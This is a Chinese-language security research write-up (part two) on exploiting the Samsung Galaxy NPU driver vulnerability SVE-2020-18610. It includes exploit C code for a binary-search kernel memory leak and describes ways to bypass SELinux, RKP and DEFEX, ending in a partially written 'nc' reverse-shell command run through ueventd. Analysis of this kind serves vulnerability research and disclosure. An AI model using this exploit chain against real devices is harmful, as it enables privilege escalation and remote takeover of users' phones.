深入剖析SVE-2020-18610漏洞（下）

关于Samsung Galaxy的NPU漏洞，谷歌安全团队Project Zero曾经专门撰文加以介绍；但是，在本文中，我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单，因此，我们将重点放在如何获得AAR/AAW，以及如何绕过Samsung Galaxy的缓解措施（如SELinux和KNOX）方面。我们的测试工作是在Samsung Galaxy S10上完成的，对于Samsung Galaxy S20，这里介绍的方法应该同样有效。

（接上文）

初始内核内存泄漏

实际上，实现信息泄漏的途径有很多，这里采用的方法是：通过VS4L_VERTEXIOC_S_FORMAT ioctl接口来调用内核空间中的npu_session_format函数。

int npu_session_format(struct npu_queue *queue, struct vs4l_format_list *flist)
{
	...
	ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
	ncp = (struct ncp_header *)ncp_vaddr;

	address_vector_offset = ncp->address_vector_offset;
	address_vector_cnt = ncp->address_vector_cnt;

	memory_vector_offset = ncp->memory_vector_offset;
	memory_vector_cnt = ncp->memory_vector_cnt;

	mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
	av = (struct address_vector *)(ncp_vaddr + address_vector_offset);

	formats = flist->formats;

	if (flist->direction == VS4L_DIRECTION_IN) {
		FM_av = session->IFM_info[0].addr_info;
		FM_cnt = session->IFM_cnt;
	}
	...
	for (i = 0; i < FM_cnt; i++) {
		...
		bpp = (formats + i)->pixel_format;
		channels = (formats + i)->channels;
		width = (formats + i)->width;
		height = (formats + i)->height;
		cal_size = (bpp / 8) * channels * width * height;
    ...
#ifndef SYSMMU_FAULT_TEST
		if ((FM_av + i)->size > cal_size) {
			npu_uinfo("in_size(%zu), cal_size(%u) invalid\n", session, (FM_av + i)->size, cal_size);
			ret = NPU_ERR_DRIVER(NPU_ERR_SIZE_NOT_MATCH);
			goto p_err;
		}
#endif
	}
  ...

由于(FM_av + i)->size指向某个超出范围的值，而cal_size由用户提供的数据决定，因此，我们可以推测出(FM_av + i)->size的值是多少。

有人会问：“推测出(FM_av + i)->size的值是多少？毕竟我们无法将这个值传入用户空间！”。

是的。但是即使我们不能直接把内核值放到用户空间中，但是，我们仍然可以根据ioctl的返回值通过二分查找来猜测它的值。就像SQL盲注一样，如果(FM_av + i)->size > cal_size不成立，ioctl接口就会向用户返回failure值。所以，我们可以通过这个方法得到内核的基地址和内核的栈地址。

unsigned long long _leak(u32 off){
    int res;
    struct vs4l_format format;

leak_retry:
    fd_clear();
    if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0){
        goto leak_retry;
    }

    memset(&format, 0, sizeof(format));

    format.stride = 0x0;
    format.cstride =  0x0;
    format.height = 1;
    format.width = 1;
    format.pixel_format = 8;

    unsigned long long g = (0xffffffff) / 2;
    unsigned long long  h = 0xffffffff;
    unsigned long long l = 1;

    ncp_page->memory_vector_offset = 0x200;
    ncp_page->memory_vector_cnt = 0x1;
    ncp_page->address_vector_offset = off;
    ncp_page->address_vector_cnt = 0x1;

    if (npu_graph_ioctl() < 0){
        close(npu_fd);
        fd_clear();
        npu_fd = -1;
        goto leak_retry;
    }

    unsigned long long old = g;
    format.channels = g;
    res = npu_format_ioctl(&format);
    while (1) {
        if (!res) {
            h = g - 1;
            g = (h + l)/2;
        } else {
            l = g + 1;
            g = (h + l) / 2;
            close(npu_fd);
            fd_clear();

            if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0) {
                perror("open(\"/dev/vertext10\") : ");
                goto leak_retry;
            }

            ncp_page->memory_vector_offset = 0x200;
            ncp_page->memory_vector_cnt = 0x1;
            ncp_page->address_vector_offset = off;
            ncp_page->address_vector_cnt = 0x1;
            if (npu_graph_ioctl() < 0) {
                close(npu_fd);
                npu_fd = -1;
                goto leak_retry;
            }
        }
        if (old == g) {
            break;
        }
        old = g;
        memset(&format, 0, sizeof(format));
        format.stride = 0x0;
        format.cstride =  0x0;
        format.height = 1;
        format.width = 1;
        format.pixel_format = 8;
        format.channels = g;
        res = npu_format_test(&format);
    }
  
    close(npu_fd);
    npu_fd = -1;
    return g > 0 ? g+1 : 0;
}

利用越界读写原语

与P0的方法不同的是，我们在越界读/写方面没有任何限制，所以，我们的任意地址读/写和内核函数调用都是基于纯ROP的。

与P0的pselect()函数类似，read()/write()系统调用也会被阻塞，直到目标文件描述符准备好为止，所以，这些函数的参数会被溢出到堆栈。我们可以识别目标函数的栈帧，例如借助于签名值0x41414141。利用管道文件描述符的读写阻塞机制，我们可以与子进程交互使用函数copy_to_user_fromio()/copy_from_user_toio()。

获得Root权限？

正如我们在本文开头提到的，由于RKP的原因，单纯的覆盖cred结构在Samsung Galaxy设备中是行不通的。因此，要想获得root权限，就必须放弃原来linux内核或Google Nexus/Pixel内核中使用的旧方法。

不能覆盖cred结构体。
不能伪造cred相关的结构体。

现在，我们需要的是首先获得root权限的代码执行原语来绕过UID检查，以进一步利用漏洞。实际上，以前的漏洞利用方法大多集中在伪造当前进程的凭证上，大家都沉迷于这种方法，而没有去探索新的方法。

虽然这么多资源都受到Samsung安全机制的保护，但task的内核栈却是可写的。所以，通过遍历init进程的task_struct，我们可以找到所有task的内核栈!

我们可以通过task_struct结构体中的void *stack成员获取task的栈地址。通过AAW原语修改目标task的内核栈，我们就可以以其他task的权限来执行ROP。但是，在对目标task执行ROP之前，我们首先需要绕过SELinux。

绕过SELinux

由于SELinux是目前所有Android系统的默认配置，所以，即使攻击者获得了root权限，他们能做的事情也取决于SELinux策略。在谷歌的Android设备中，如果攻击者成功获得AAR/AAW原语，只需将selinux_enforcing覆盖为0，就可以轻松绕过SELinux。但是，Samsung的SELinux改进了以下功能。

selinux_enforcing现在位于kdp_ro节。
禁止重载SELinux策略。
允许域被完全删除。

Samsung Galaxy S7

在KeenLab的Blackhat 2017 WP中，他们是通过重载SELinux策略绕过了Samsung Galaxy S7上的SELinux。同时，由于ss_initialized变量不受RKP保护，他们可以将ss_initialized覆盖为0，这意味着SELinux还没有初始化。覆盖后，他们使用libsepol API重载了SELinux策略。

static struct sidtab sidtab;
struct policydb policydb;
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
int ss_initialized __kdp_ro;
#else
int ss_initialized;
#endif

但是，在最新的Samsung Galaxy内核源代码中，ss_initialized已受到RKP的保护，因此，我们已经无法再使用上述方法了。

Samsung Galaxy S8

在iceswordlab关于获取Samsung Galaxy s8的root权限的文章中，他们覆盖了security_hook_heads，因为这个变量也不受RKP的保护，这意味着它是允许读/写的变量。但正如前面的代码所示，security_hook_heads现在处于只读的保护状态。

// security/security.c
struct security_hook_heads security_hook_heads __lsm_ro_after_init;

让SELinux策略重新加载成为可能

虽然ss_initialized变量在RKP中，但是我们仍然可以通过在内核空间中滥用SELinux策略相关的API来绕过SELinux。首先，我们需要考察一下security_load_policy函数。

// security/selinux/ss/services.c
int security_load_policy(void *data, size_t len)
{
	struct policydb *oldpolicydb, *newpolicydb;
	struct sidtab oldsidtab, newsidtab;
	struct selinux_mapping *oldmap, *map = NULL;
	struct convert_context_args args;
	u32 seqno;
	u16 map_size;
	int rc = 0;
	struct policy_file file = { data, len }, *fp = &file;

	oldpolicydb = kzalloc(2 * sizeof(*oldpolicydb), GFP_KERNEL);
	if (!oldpolicydb) {
		rc = -ENOMEM;
		goto out;
	}
	newpolicydb = oldpolicydb + 1;

	if (!ss_initialized) {
		avtab_cache_init();
		ebitmap_cache_init();
		rc = policydb_read(&policydb, fp);
		if (rc) {
			avtab_cache_destroy();
			ebitmap_cache_destroy();
			goto out;
		}
    
		...
  
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
     uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0);

    ...

如果SELinux未初始化，则可以通过kmem_cache_zalloc来初始化avtab_cache和ebitmap_cache。其中，avtab是access vector table的缩写，用于表示类型执行表，而ebitmap是extensible bitmap的缩写，它表示值集，例如类型，角色，类别和类。

因此，就像ss_initialized变量为0的情况一样，如果我们首先调用avtab_cache_init和ebitmap_cache_init，因为avtab_node_cachep，avtab_xperms_cachep和ebitmap_node_cachep不受RKP保护，这些变量将被重新初始化。

接下来，将我们的自定义SELinux策略数据复制到内核空间。然后，使用我们的自定义策略数据调用security_load_policy。清除avc_cache后，我们的策略数据将重新加载所有SELinux策略。

战胜DEFEX

即使我们通过利用内核绕过SELinux并成功获得了root权限，但是受制于Oreo(Android 8)之后引入的DEFEX防御机制，进程的访问权限仍然会面临诸多限制。

这个新的保护措施基于defex_static_rules，可以防止任何进程以root身份运行。

// security/samsung/defex_lsm/defex_rules.c
const struct static_rule defex_static_rules[] = {
	{feature_ped_path,"/"},
	{feature_safeplace_status,"1"},
	{feature_immutable_status,"1"},
	{feature_ped_status,"1"},
#ifndef DEFEX_USE_PACKED_RULES
	{feature_ped_exception,"/system/bin/run-as"},	/* DEFAULT */
	{feature_safeplace_path,"/init"},
	{feature_safeplace_path,"/system/bin/init"},
	{feature_safeplace_path,"/system/bin/app_process32"},
	{feature_safeplace_path,"/system/bin/app_process64"},
  
  ...

在task_defex_enforce()函数内部，会调用task_defex_check_creds()来检查目标进程是否正常。如下面的代码所示，它会进行三项检查，以决定是否放行。

当前进程是否具有root权限 (uid == 0 || gid == 0)
父进程是否为非root权限的进程。
当前进程是否为受DEFEX保护的进程。

// security/defex_lsm/defex_procs.c
#ifndef CONFIG_SECURITY_DSMS
static int task_defex_check_creds(struct task_struct *p)
#else
static int task_defex_check_creds(struct task_struct *p, int syscall)
#endif /* CONFIG_SECURITY_DSMS */
{
...
		if (CHECK_ROOT_CREDS(p) && !CHECK_ROOT_CREDS(p->real_parent) &&
			task_defex_is_secured(p)) {
		set_task_creds(p->pid, dead_uid, dead_uid, dead_uid);
		if (p->tgid != p->pid)
			set_task_creds(p->tgid, dead_uid, dead_uid, dead_uid);
		case_num = 4;
		goto show_violation;
	}
...

因此，如果以上3个条件都成立，DEFEX机制将返回-DEFEX_DENY，并提供相应的错误日志。而task_defex_enforce()函数则是在底层的操作中被调用的，所以即使不受信任的应用程序通过利用内核漏洞获得了root权限，那么它的底层操作如open/read/write/execve也都会受到限制。

// security/samsung/defex_lsm/defex_procs.c
int task_defex_enforce(struct task_struct *p, struct file *f, int syscall)
{
	int ret = DEFEX_ALLOW;
	int feature_flag;
	const struct local_syscall_struct *item;
	struct defex_context dc;

...

#ifdef DEFEX_SAFEPLACE_ENABLE
	/* Safeplace feature */
	if (feature_flag & FEATURE_SAFEPLACE) {
		if (syscall == __DEFEX_execve) {
			ret = task_defex_safeplace(&dc);
			if (ret == -DEFEX_DENY) {
				if (!(feature_flag & FEATURE_SAFEPLACE_SOFT)) {
					kill_process(p);
					goto do_deny;
				}
			}
		}
	}
#endif /* DEFEX_SAFEPLACE_ENABLE */
  
...

fs/exec.c:
  1983  #ifdef CONFIG_SECURITY_DEFEX
  1984: 	retval = task_defex_enforce(current, file, -__NR_execve);
  1985  	if (retval < 0) {

fs/open.c:
  1083  #ifdef CONFIG_SECURITY_DEFEX
  1084: 		if (!IS_ERR(f) && task_defex_enforce(current, f, -__NR_openat)) {
  1085  			fput(f);

fs/read_write.c:
  568  #ifdef CONFIG_SECURITY_DEFEX
  569: 		if (task_defex_enforce(current, file, -__NR_write))
  570  			return -EPERM;

如下面的代码所示，函数call_usermodehelper还会使用do_execve，不过，通过这种方式来获取特权方法的旧路已经被DEFEX堵上了。

static int call_usermodehelper_exec_async(void *data)
{
	...
	new = prepare_kernel_cred(current);
	...
	commit_creds(new);
	...
	retval = do_execve(getname_kernel(sub_info->path),
			   (const char __user *const __user *)sub_info->argv,
			   (const char __user *const __user *)sub_info->envp);
  ...

除了do_execve中的DEFEX检查之外，在调用call_usermodehelper_exec_async之前，call_usermodehelper_exec还会进行另一项DEFEX检查，具体如下面的代码所示。

 int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
 {
     DECLARE_COMPLETION_ONSTACK(done);
     int retval = 0;
   
		...

#if defined(CONFIG_SECURITY_DEFEX) && ANDROID_VERSION >= 100000 /* Over Q in case of Exynos */
     if (task_defex_user_exec(sub_info->path)) {
         goto out;
     }
 #endif

		...
      
	  queue_work(system_unbound_wq, &sub_info->work);

   	...

以上task_defex_user_exec是Samsung Galaxy在2020年9月的固件更新中新增的内核函数。

绕过DEFEX防御机制

正如我们在上面的部分所看到的，由于受到DEFEX机制的影响，仅仅调用call_usermodehelper是不起作用的，但是，ueventd却是以root权限运行的进程，而且其父进程是init进程，并且，它还不受DEFEX的保护。

就像我们绕过SELinux限制一样，为了绕过DEFEX防御机制，只需在ueventd进程中单独调用call_usermodehelper的子例程即可。

通过任意的内核写原语在内核内存中设置call_usermodehelper_setup的参数。
通过任意的内核函数调用原语，用我们的参数调用call_usermodehelper_setup。
读取并复制system_unbound_wq和sub_info数据。
用复制的system_unbound_wq和sub_info调用queue_work。
由于do_execve中存在DEFEX检查，所以，我们需要使用/system/bin/sh -c “while [ 1 ] ; do /system/bin/toybox nc …”这样的shellscript，因为/system/bin/sh具有feature_safeplace_path属性。

这样，我们就可以通过具有内核权限的远程服务器获取反向shell。

DEMO（https://twitter.com/vngkv123/status/1328223035137036290?s=20）

小结

目前，Android和iOS都在努力防止攻击者利用其资源。但是，完全消除所有的漏洞几乎是不可能的，所以，他们的防御重点转向通过引入类似CFI的机制来加强各种防护措施。虽然这些缓解措施显著降低了漏洞利用的成功率，但攻击者总能找到绕过它们的相应方法。

正文

深入剖析SVE-2020-18610漏洞（下）

初始内核内存泄漏

利用越界读写原语

获得Root权限？

绕过SELinux

让SELinux策略重新加载成为可能

战胜DEFEX

绕过DEFEX防御机制

小结

相关阅读

Cisco Fog Director 1.0(0) 跨站脚本攻击

IBM QRadar SIEM信息泄露漏洞

IBM QRadar SIEM信息泄露漏洞（CNVD-2016-01145）

IBM InfoSphere Information Server up to 8.5 FP3/8.7 FP2/9.1.2.0/11.3.1.2/11.5 Cookie 访问控制漏洞

发表评论取消回复

还没有评论，来说两句吧...

目录[+]